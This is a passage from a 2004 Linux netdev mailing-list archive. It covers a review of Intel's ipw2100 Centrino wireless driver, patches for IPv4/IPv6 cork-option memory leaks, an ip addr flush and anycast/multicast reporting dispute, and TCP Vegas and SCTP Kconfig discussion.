{ + IPW2100_DEBUG_INFO("failed pci_set_dma_mask!\n"); + pci_disable_device(pdev); + return -ENODEV; + } 21) do request_irq() in your dev->open() hook, not in ipw2100_pci_init_one 22) similar to #18, you do not need a 'registered' flag. ipw2100_pci_init_one fails (correctly), if it cannot register_netdev(). 23) call ipw2100_proc_dev_init() before register_netdev(). otherwise you have a serious race between the /sbin/hotplug agent bringing up the interface, and the initialization of the procfs interface (which could fail). 24) I don't see that you need to list all 1001 (or so:)) PCI subsystem vendor ids... just list the PCI vendor and device id. (unless I'm missing something?) 25) the following code looks like it is the victim of a stupid GNU indent [not your fault]. Convert to C99 initializer style ".foo = val," +static struct pci_driver ipw2100_pci_driver = { + name:DRV_NAME, + id_table:ipw2100_pci_id_table, + probe:ipw2100_pci_init_one, + remove: __devexit_p(ipw2100_pci_remove_one), + suspend:0, + resume:0 +}; also delete the members you explicitly initialize to zero. 26) I'm curious, what is the locking/exclusion on the ipw2100_wx_xxx() functions? Overall -- it's obviously incomplete, as you stated in your LKML posting. But it's a good start, and more clean than a lot of wireless drivers. Good job, keep up posted on development! I'm definitely interested in merging this driver when it's a bit farther along. Best regards and thanks, Jeff From tmus@tmus.dk Tue Mar 9 14:12:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 14:12:50 -0800 (PST) Received: from mail.tmus.dk (cpe.atm0-0-0-1561101.0x50a0a16e.albnxx5.customer.tele.dk [80.160.161.110]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i29MCiKO005152 for ; Tue, 9 Mar 2004 14:12:45 -0800 Received: from tmus.dk (dyn-192-168-1-20.tmus.dk [192.168.1.20]) by mail.tmus.dk (Postfix) with ESMTP id 50C46F80E1; Tue, 9 Mar 2004 23:15:12 +0100 (CET) Message-ID: <404E4159.9040404@tmus.dk> Date: Tue, 09 Mar 2004 23:12:41 +0100 From: Thomas Munck Steenholdt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219 X-Accept-Language: en-us, en, da MIME-Version: 1.0 To: jt@hpl.hp.com Cc: netdev@oss.sgi.com, Jeff Garzik , hermes@gibson.dropbear.id.au Subject: Re: [PATCH] 2.6.3 orinoco.c patch to support ethtool get_link References: <20040308185242.GA18367@bougret.hpl.hp.com> In-Reply-To: <20040308185242.GA18367@bougret.hpl.hp.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3893 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tmus@tmus.dk Precedence: bulk X-list: netdev Content-Length: 957 Lines: 24 Jean Tourrilhes wrote: > I hope you realise that most often link status is meaningless > with Wireless cards. In Ad-Hoc mode, the link is always up, regardless > of the number of nodes in the cell, check the discussion on the HostAP > mailing list. And the Orinoco card will report connected even is WEP > is wrong. But, if you only use managed mode without WEP, that should > work. > I just wonder if it's better to report a 'link status' that > may be wrong/misleading or to not report anything at all. Actually, if the WEP key is wrong(i guess that's what you mean) the link is determined as down, like it should be! For the AdHoc mode, sure the link is always determined as up, but that is really the best way to do it given the nature of an Ad-Hoc network, right! The way I see it you'll gain from this patch whenever in managed mode. Most people (in my experience) is using managed mode and thus would benefit from this functionality! Thomas From davem@redhat.com Tue Mar 9 15:24:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 15:24:47 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i29NOWKO006698 for ; Tue, 9 Mar 2004 15:24:38 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i29NOV07030509; Tue, 9 Mar 2004 18:24:31 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i29NOV824999; Tue, 9 Mar 2004 18:24:31 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i29NOLeF001733; Tue, 9 Mar 2004 18:24:21 -0500 Date: Tue, 9 Mar 2004 15:24:30 -0800 From: "David S. Miller" To: Krishna Kumar Cc: netdev@oss.sgi.com, krkumar@us.ibm.com Subject: Re: [PATCH] Trivial kmalloc failure checks Message-Id: <20040309152430.2a2164bb.davem@redhat.com> In-Reply-To: References: <20040113232009.008a57a7.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3894 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 176 Lines: 8 On Tue, 9 Mar 2004 13:36:14 -0800 (PST) Krishna Kumar wrote: > A couple of checks for memory allocation failures. Looks great, applied. Thanks Krishna. From hadi@cyberus.ca Tue Mar 9 15:28:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 15:29:02 -0800 (PST) Received: from mx01.cybersurf.com (mx01.cybersurf.com [209.197.145.104]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i29NSuKO007086 for ; Tue, 9 Mar 2004 15:28:58 -0800 Received: from mail.cyberus.ca ([209.197.145.21]) by mx01.cybersurf.com with esmtp (Exim 4.20) id 1B0mR9-0005kT-90 for netdev@oss.sgi.com; Tue, 09 Mar 2004 13:58:43 -0500 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1B0mR8-0006Ud-Gx; Tue, 09 Mar 2004 13:58:42 -0500 Subject: Re: [RFC] TCP Vegas for 2.6 From: jamal Reply-To: hadi@cyberus.ca To: Stephen Hemminger Cc: John Heffner , Andi Kleen , linux-net , netdev@oss.sgi.com In-Reply-To: <20040309102206.33c1720c@dell_ss3.pdx.osdl.net> References: <20040309180331.GC11604@wotan.suse.de> <20040309102206.33c1720c@dell_ss3.pdx.osdl.net> Content-Type: text/plain Organization: jamalopolis Message-Id: <1078858686.1036.726.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 09 Mar 2004 13:58:06 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 3895 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Content-Length: 701 Lines: 20 On Tue, 2004-03-09 at 13:22, Stephen Hemminger wrote: > Every case I tested has vegas faster than the default reno. It is especially > noticeable over the DSL. ] As i am sure you will notice it even more on ppp/dial up. I am suprised on the DSL results though. Theres tons of literature has already been written on this stuff. It is know that Reno will work better over Vegas in some cases (as pointed above). Its useful to have vegas as a feature but lets not jump the gun. Congestion control algorithms have been known to start religious wars. > The current implementation is not ready to be turned > on by default though. i like Andis idea of being able to select per route. cheers, jamal From davem@redhat.com Tue Mar 9 15:29:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 15:29:45 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i29NThKO007383 for ; Tue, 9 Mar 2004 15:29:43 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i29NTX07031850; Tue, 9 Mar 2004 18:29:33 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i29NTX826255; Tue, 9 Mar 2004 18:29:33 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i29NTNeF004060; Tue, 9 Mar 2004 18:29:23 -0500 Date: Tue, 9 Mar 2004 15:29:32 -0800 From: "David S. Miller" To: Olaf Kirch Cc: netdev@oss.sgi.com Subject: Re: ip addr flush hangs Message-Id: <20040309152932.36a42997.davem@redhat.com> In-Reply-To: <20040309150730.GE14419@suse.de> References: <20040309144824.GD14419@suse.de> <20040309150730.GE14419@suse.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3896 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 259 Lines: 8 On Tue, 9 Mar 2004 16:07:30 +0100 Olaf Kirch wrote: > The attached patch disables reporting of multicast and anycast > addresses in inet6_dump_ifaddr Applied, except I changed it to just remove the code entirely instead of commenting it out. From xma@us.ibm.com Tue Mar 9 15:56:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 15:56:27 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i29NuAKO008083; Tue, 9 Mar 2004 15:56:16 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i29Nu45w478848; Tue, 9 Mar 2004 18:56:04 -0500 Received: from d03nm124.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i29Nu3Zb374004; Tue, 9 Mar 2004 16:56:04 -0700 In-Reply-To: <20040309152932.36a42997.davem@redhat.com> Subject: Re: ip addr flush hangs To: "David S. Miller" Cc: netdev@oss.sgi.com, netdev-bounce@oss.sgi.com, Olaf Kirch X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: Shirley Ma Date: Tue, 9 Mar 2004 15:56:00 -0800 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2HF168 | December 5, 2003) at 03/09/2004 16:56:03 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=08BBE4C1DF10BA948f9e8a93df938690918c08BBE4C1DF10BA94" Content-Disposition: inline X-archive-position: 3897 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1043 Lines: 41 --0__=08BBE4C1DF10BA948f9e8a93df938690918c08BBE4C1DF10BA94 Content-type: text/plain; charset=US-ASCII Hi, Dave, This fix causes a problem for SNMP IPv6 MIBs. It requires to dump all interface address types unicast/mcast/anycast. I would like suggest to fix the ip command to fix the problem. Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 --0__=08BBE4C1DF10BA948f9e8a93df938690918c08BBE4C1DF10BA94 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Hi, Dave,

This fix causes a problem for SNMP IPv6 MIBs. It requires to dump all interface
address types unicast/mcast/anycast. I would like suggest to fix the ip
command to fix the problem.

Thanks
Shirley Ma
IBM Linux Technology Center
15300 SW Koll Parkway
Beaverton, OR 97006-6063
Phone: (503) 578-7638
FAX: (503) 578-3228 --0__=08BBE4C1DF10BA948f9e8a93df938690918c08BBE4C1DF10BA94-- From davem@redhat.com Tue Mar 9 16:06:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 16:06:55 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2A06jKO008535; Tue, 9 Mar 2004 16:06:46 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2A06j07009726; Tue, 9 Mar 2004 19:06:45 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2A06j802860; Tue, 9 Mar 2004 19:06:45 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2A06LeF018509; Tue, 9 Mar 2004 19:06:35 -0500 Date: Tue, 9 Mar 2004 16:06:30 -0800 From: "David S. Miller" To: Shirley Ma Cc: netdev@oss.sgi.com, netdev-bounce@oss.sgi.com, okir@suse.de Subject: Re: ip addr flush hangs Message-Id: <20040309160630.37873bdd.davem@redhat.com> In-Reply-To: References: <20040309152932.36a42997.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3898 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 469 Lines: 13 On Tue, 9 Mar 2004 15:56:00 -0800 Shirley Ma wrote: > This fix causes a problem for SNMP IPv6 MIBs. It requires to dump all > interface > address types unicast/mcast/anycast. I would like suggest to fix the ip > command to fix the problem. We changed behavior which unexpectedly broke a pretty core tool on everyone's system. I'm not reverting this. Create instead a new rtnetlink command which can ask for xxx_cast type addresses on an interface. From kkumar@us.ibm.com Tue Mar 9 18:09:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 18:10:16 -0800 (PST) Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2A29AKO025080 for ; Tue, 9 Mar 2004 18:09:17 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e2.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2A2947b406858; Tue, 9 Mar 2004 21:09:04 -0500 Received: from DYN318430BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2A29EJH110398; Tue, 9 Mar 2004 21:09:15 -0500 Date: Tue, 9 Mar 2004 18:05:48 -0800 (PST) From: Krishna Kumar X-X-Sender: kkumar@linux-009047018241 To: "David S. Miller" cc: netdev@oss.sgi.com, KK Subject: [PATCH AND RFC_PATCH] 1. Leak corking option in ipv4 2. ipv6 opt panic Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3899 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kkumar@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 2155 Lines: 70 Hi Dave, Patch1 : -------- I think every socket can leak memory when it allocates a cork.opt and calls ip_append_data()/ip_push_pending_frames(). This get released in ip_flush_pending_frames() which may not get called. Patch2 : --------- I am not sure about this possible bug which is the RFC part of the subject. In IPv6 ip6_append_data(), if it is possible to add extra ipv6 options during multiple calls to append_data(), then the check for cork.opt could end up panicing the system because it is allocated for a smaller size of options. If this is a problem, then ipv4 might have a similar issue too. Note: Patch2 has a question embedded in it, I can send a better patch if you think the idea is right. Both patches are over my previous patch. PS : Both these patches are not as a result of any problem I got while testing. Thanks, - KK Patch1 : -------- diff -ruN linux-2.6.4-rc2-bk5.org/net/ipv4/ip_output.c linux-2.6.4-rc2-bk5/net/ipv4/ip_output.c --- linux-2.6.4-rc2-bk5.org/net/ipv4/ip_output.c 2004-03-09 13:36:43.000000000 -0800 +++ linux-2.6.4-rc2-bk5/net/ipv4/ip_output.c 2004-03-09 16:43:41.000000000 -0800 @@ -1187,6 +1187,10 @@ out: inet->cork.flags &= ~IPCORK_OPT; + if (inet->cork.opt) { + kfree(inet->cork.opt); + inet->cork.opt = NULL; + } if (inet->cork.rt) { ip_rt_put(inet->cork.rt); inet->cork.rt = NULL; Patch2 : -------- diff -ruN linux-2.6.4-rc2-bk5.org/net/ipv6/ip6_output.c linux-2.6.4-rc2-bk5/net/ipv6/ip6_output.c --- linux-2.6.4-rc2-bk5.org/net/ipv6/ip6_output.c 2004-03-09 13:36:43.000000000 -0800 +++ linux-2.6.4-rc2-bk5/net/ipv6/ip6_output.c 2004-03-09 16:53:52.000000000 -0800 @@ -816,7 +816,16 @@ * setup for corking */ if (opt) { - if (np->cork.opt == NULL) { + if (np->cork.opt == NULL || np->cork.opt->tot_len < + opt->tot_len) { + /* No options or option size increased */ + if (np->cork.opt) { + /* Should existing data be sent with + * old options first ? + */ + ip6_push_pending_frames(sk); + kfree(np->cork.opt); + } np->cork.opt = kmalloc(opt->tot_len, sk->sk_allocation); if (unlikely(np->cork.opt == NULL)) From jgarzik@pobox.com Tue Mar 9 18:48:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 18:48:17 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2A2mFKO026527 for ; Tue, 9 Mar 2004 18:48:16 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:36033 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B0tlT-0007Bc-8r; Wed, 10 Mar 2004 02:48:11 +0000 Message-ID: <404E81DF.9020400@pobox.com> Date: Tue, 09 Mar 2004 21:47:59 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: James Ketrenos CC: Netdev , Linus Torvalds Subject: Re: Centrino wireless review References: <404E3DB8.1000000@pobox.com> <404E795A.9050906@linux.co.intel.com> In-Reply-To: <404E795A.9050906@linux.co.intel.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3900 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1538 Lines: 54 James Ketrenos wrote: > Jeff Garzik wrote: > >> >> Thanks much to you and Intel for publishing this! > > > Wow. Quick review turn around :) I've been hoping a Centrino wireless driver would appear for a while now ;-) >> 0) is the firmware blob truly a firmware blob, and not an x86 ELF >> blob? In other words, will this firmware work on non-x86? > > > The firmware data is just loaded from disk and handed off to the ipw2100 > hardware; no linking with the kernel or running on the CPU. To make > firmware loader work on an architecture w/ endian issues would require > some tweaks, but the firmware image itself wouldn't change (none of it > is executed by the CPU) > > Or am I missing what you're asking? Nope, that answered my question. Thanks. >> 24) I don't see that you need to list all 1001 (or so:)) PCI subsystem >> vendor ids... just list the PCI vendor and device id. (unless I'm >> missing something?) > > > Apparently we have other cards that match the PCI vendor and device, but > are not IPW 2100[A]s, so the subsystem ids had to be added. Sigh. >> 26) I'm curious, what is the locking/exclusion on the ipw2100_wx_xxx() >> functions? > > > Locking is lacking in a few places in the wx code. Any data that needs > to be protected will end up being wrapped with the priv->low_lock > spinlock. Is there something you saw in how we have it that might be > problematic? In general I saw a lack of locking in the wx module, but I admit I could have missed these low_lock uses. jeff From jt@bougret.hpl.hp.com Tue Mar 9 19:24:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 19:24:59 -0800 (PST) Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2A3OvKO027876 for ; Tue, 9 Mar 2004 19:24:57 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel12.hp.com (Postfix) with ESMTP id 7FF761C017C0; Tue, 9 Mar 2004 19:24:56 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id TAA21843; Tue, 9 Mar 2004 19:24:53 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1B0uKy-0006ai-00; Tue, 09 Mar 2004 19:24:52 -0800 Date: Tue, 9 Mar 2004 19:24:52 -0800 To: Jeff Garzik Cc: netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [PATCH 2.6] Intersil Prism54 wireless driver Message-ID: <20040310032452.GA25038@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <20040304023524.GA19453@bougret.hpl.hp.com> <40469683.3000609@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <40469683.3000609@pobox.com> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 3901 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 912 Lines: 27 On Wed, Mar 03, 2004 at 09:37:55PM -0500, Jeff Garzik wrote: > Jean Tourrilhes wrote: > > Hi Dave & Jeff, > > > > The attached .bz2 file is a patch for 2.6.3 adding the > >Intersil Prism54 wireless driver. Sorry for the attachement, the file > >is rather big, if you want inline+plaintext, I'll send that personal > >to you. > > I've been using this driver with great success on 2.6.3 and > >2.6.4-rc1 (SMP). This driver support various popular CardBus and PCI > >802.11g cards (54 Mb/s) based on the Intersil PrismGT/PrismDuette > >chipset. > > I would like this driver to go into 2.6.X. However, I > >understand that it's lot's of code to review. > > > I would like it to go into 2.6 too :) I'm glad somebody submitted it. > > I'll review it this weekend... and hopefully some other netdev denizens > will review as well and post their comments. > > Jeff Any news, Jeff ? Thanks in advance... Jean From yoshfuji@linux-ipv6.org Tue Mar 9 19:31:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 19:31:06 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2A3V3KO028280 for ; Tue, 9 Mar 2004 19:31:03 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id EA78733CE5; Wed, 10 Mar 2004 12:32:30 +0900 (JST) Date: Wed, 10 Mar 2004 12:32:30 +0900 (JST) Message-Id: <20040310.123230.86301894.yoshfuji@linux-ipv6.org> To: davem@redhat.com, netdev@oss.sgi.com, xma@us.ibm.com Cc: okir@suse.de, yoshfuji@linux-ipv6.org Subject: Re: ip addr flush hangs From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: <20040309152932.36a42997.davem@redhat.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3902 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 626 Lines: 15 In article (at Tue, 9 Mar 2004 15:56:00 -0800), Shirley Ma says: > This fix causes a problem for SNMP IPv6 MIBs. It requires to dump all > interface > address types unicast/mcast/anycast. I would like suggest to fix the ip > command to fix the problem. Grr... Putting anycast/multicast is not good idea. (Sorry, I did not notice at that time...) Anycast should use IFA_ANYCAST ifaddrmsg instead of IFA_ADDRESS. Multicast should be provided in a different way (different rtmsg), or use IFA_MULTICAST or something like that. --yoshfuji From zippel@linux-m68k.org Tue Mar 9 19:39:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 19:40:00 -0800 (PST) Received: from scrub.xs4all.nl (mail@scrub.xs4all.nl [194.109.195.176]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2A3dtKO028691 for ; Tue, 9 Mar 2004 19:39:56 -0800 Received: from roman (helo=localhost) by scrub.xs4all.nl with local-esmtp (Exim 3.35 #1 (Debian)) id 1B0uY4-0008F3-00; Wed, 10 Mar 2004 04:38:24 +0100 Date: Wed, 10 Mar 2004 04:38:23 +0100 (CET) From: Roman Zippel X-X-Sender: roman@serv To: Sridhar Samudrala cc: kaos@ocs.com.au, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Cleaner way to conditionally disallow a CONFIG option as static In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3903 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: zippel@linux-m68k.org Precedence: bulk X-list: netdev Content-Length: 377 Lines: 22 Hi, On Mon, 8 Mar 2004, Sridhar Samudrala wrote: > In 2.6, net/sctp/Kconfig > > config IPV6_SCTP__ > tristate > default y if IPV6=n > default IPV6 if IPV6 > > config IP_SCTP > tristate "The SCTP Protocol (EXPERIMENTAL)" > depends on IPV6_SCTP__ This can be written as: config IP_SCTP tristate "The SCTP Protocol (EXPERIMENTAL)" depends on IPV6 || IPV6=n bye, Roman From xma@us.ibm.com Wed Mar 10 00:00:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 00:00:40 -0800 (PST) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2A80LKO009608 for ; Wed, 10 Mar 2004 00:00:29 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2A7xqfS009792; Wed, 10 Mar 2004 02:59:52 -0500 Received: from d03nm124.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2A7xo50124104; Wed, 10 Mar 2004 00:59:51 -0700 In-Reply-To: <20040310.123230.86301894.yoshfuji@linux-ipv6.org> Subject: Re: ip addr flush hangs To: YOSHIFUJI Hideaki / =?ISO-2022-JP?B?GyRCNUhGIzFRTEAbKEI=?= Cc: davem@redhat.com, netdev@oss.sgi.com, okir@suse.de, "Hideaki YOSHIFUJI" , yoshfuji@linux-ipv6.org X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: Shirley Ma Date: Tue, 9 Mar 2004 23:59:48 -0800 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2HF168 | December 5, 2003) at 03/10/2004 00:59:50 MIME-Version: 1.0 Content-type: multipart/related; Boundary="0__=08BBE4C0DFB84D5B8f9e8a93df938690918c08BBE4C0DFB84D5B" X-archive-position: 3904 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 9334 Lines: 248 --0__=08BBE4C0DFB84D5B8f9e8a93df938690918c08BBE4C0DFB84D5B Content-type: multipart/alternative; Boundary="1__=08BBE4C0DFB84D5B8f9e8a93df938690918c08BBE4C0DFB84D5B" --1__=08BBE4C0DFB84D5B8f9e8a93df938690918c08BBE4C0DFB84D5B Content-type: text/plain; charset=ISO-2022-JP Content-transfer-encoding: quoted-printable OK, I will submit a patch for anycast and multicast addresses throught different rtmsg. Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 